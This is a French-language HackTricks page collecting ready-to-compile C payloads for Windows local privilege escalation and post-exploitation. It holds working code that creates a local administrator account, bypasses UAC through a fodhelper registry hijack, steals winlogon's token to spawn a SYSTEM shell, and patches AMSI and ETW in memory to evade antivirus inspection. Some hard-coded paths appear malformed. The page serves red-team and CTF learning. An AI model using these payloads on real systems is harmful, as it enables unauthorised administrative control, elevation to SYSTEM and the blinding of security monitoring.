Windows C Payloads

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cette page rassemble de petits extraits C autonomes qui sont utiles lors de Windows Local Privilege Escalation ou de post-exploitation. Chaque payload est conçu pour ĂȘtre facile Ă  copier-coller, n'exige que le Windows API / C runtime, et peut ĂȘtre compilĂ© avec i686-w64-mingw32-gcc (x86) ou x86_64-w64-mingw32-gcc (x64).

⚠ Ces payloads supposent que le processus dispose dĂ©jĂ  des privilĂšges minimaux nĂ©cessaires pour effectuer l'action (p. ex. SeDebugPrivilege, SeImpersonatePrivilege, ou un medium-integrity context pour un UAC bypass). Ils sont destinĂ©s Ă  des environnements red-team ou CTF oĂč l'exploitation d'une vulnĂ©rabilitĂ© a permis l'exĂ©cution de code natif arbitraire.


Ajouter un utilisateur administrateur local

c
// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
#include <stdlib.h>
int main(void) {
system("net user hacker Hacker123! /add");
system("net localgroup administrators hacker /add");
return 0;
}

UAC Bypass – fodhelper.exe Registry Hijack (Medium → High integrity)

Lorsque le binaire de confiance fodhelper.exe est exĂ©cutĂ©, il interroge le chemin de registre ci‑dessous sans filtrer le verbe DelegateExecute. En plaçant notre commande sous cette clĂ©, un attaquant peut bypass UAC sans dĂ©poser de fichier sur le disque.

Registry path queried by fodhelper.exe

HKCU\Software\Classes\ms-settings\Shell\Open\command

Un PoC minimal qui lance un cmd.exe élevé :

c
// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(void) {
HKEY hKey;
const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command

// 1. Create the vulnerable registry key
if (RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {

// 2. Set default value => our payload
RegSetValueExA(hKey, NULL, 0, REG_SZ,
(const BYTE*)payload, (DWORD)strlen(payload) + 1);

// 3. Empty "DelegateExecute" value = trigger (")
RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
(const BYTE*)"", 1);

RegCloseKey(hKey);

// 4. Launch auto-elevated binary
system("fodhelper.exe");
}
return 0;
}

Testé sur Windows 10 22H2 et Windows 11 23H2 (patchs de juillet 2025). Le bypass fonctionne toujours car Microsoft n'a pas corrigé la vérification d'intégrité manquante dans le chemin DelegateExecute.


Spawn SYSTEM shell via token duplication (SeDebugPrivilege + SeImpersonatePrivilege)

Si le processus courant possĂšde Ă  la fois les privilĂšges SeDebug et SeImpersonate (typique pour de nombreux comptes de service), vous pouvez voler le token de winlogon.exe, le dupliquer, et lancer un elevated process :

c
// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

DWORD FindPid(const wchar_t *name) {
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
if (!Process32FirstW(snap, &pe)) return 0;
do {
if (!_wcsicmp(pe.szExeFile, name)) {
DWORD pid = pe.th32ProcessID;
CloseHandle(snap);
return pid;
}
} while (Process32NextW(snap, &pe));
CloseHandle(snap);
return 0;
}

int wmain(void) {
DWORD pid = FindPid(L"winlogon.exe");
if (!pid) return 1;

HANDLE hProc   = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
HANDLE hToken  = NULL, dupToken = NULL;

if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {

STARTUPINFOW si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
if (hProc) CloseHandle(hProc);
if (hToken) CloseHandle(hToken);
if (dupToken) CloseHandle(dupToken);
return 0;
}

Pour une explication plus approfondie de la façon dont cela fonctionne, voir :

SeDebug + SeImpersonate copy token


In-Memory AMSI & ETW Patch (Defence Evasion)

La plupart des moteurs AV/EDR modernes s'appuient sur AMSI et ETW pour inspecter les comportements malveillants. Le patch des deux interfaces tĂŽt dans le processus en cours empĂȘche les script-based payloads (par exemple PowerShell, JScript) d'ĂȘtre analysĂ©s.

c
// gcc -o patch_amsi.exe patch_amsi.c -lntdll
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>

void Patch(BYTE *address) {
DWORD oldProt;
// mov eax, 0x80070057 ; ret  (AMSI_RESULT_E_INVALIDARG)
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
memcpy(address, patch, sizeof(patch));
VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
}

int main(void) {
HMODULE amsi  = LoadLibraryA("amsi.dll");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");

if (amsi)  Patch((BYTE*)GetProcAddress(amsi,  "AmsiScanBuffer"));
if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));

MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
return 0;
}

Le patch ci‑dessus est local au processus ; lancer un nouveau PowerShell aprĂšs l'avoir exĂ©cutĂ© s'exĂ©cutera sans inspection par AMSI/ETW.


Créer un processus enfant en tant que Protected Process Light (PPL)

Demandez un niveau de protection PPL pour un processus enfant au moment de sa création en utilisant STARTUPINFOEX + PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL. Il s'agit d'une API documentée et elle ne réussira que si l'image cible est signée pour la classe de signataire demandée (Windows/WindowsLight/Antimalware/LSA/WinTcb).

c
// x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c
#include <windows.h>

int wmain(void) {
STARTUPINFOEXW si = {0};
PROCESS_INFORMATION pi = {0};
si.StartupInfo.cb = sizeof(si);

SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);

DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
&lvl, sizeof(lvl), NULL, NULL);

if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
// likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level
return 1;
}
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}

Niveaux utilisés le plus couramment :

  • PROTECTION_LEVEL_WINDOWS_LIGHT (2)
  • PROTECTION_LEVEL_ANTIMALWARE_LIGHT (3)
  • PROTECTION_LEVEL_LSA_LIGHT (4)

Validez le résultat avec Process Explorer/Process Hacker en vérifiant la colonne Protection.


Références

  • Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
  • SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
  • CreateProcessAsPPL – lanceur de processus PPL minimal: https://github.com/2x7EQ13/CreateProcessAsPPL
  • Microsoft Docs – STARTUPINFOEX / InitializeProcThreadAttributeList / UpdateProcThreadAttribute

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks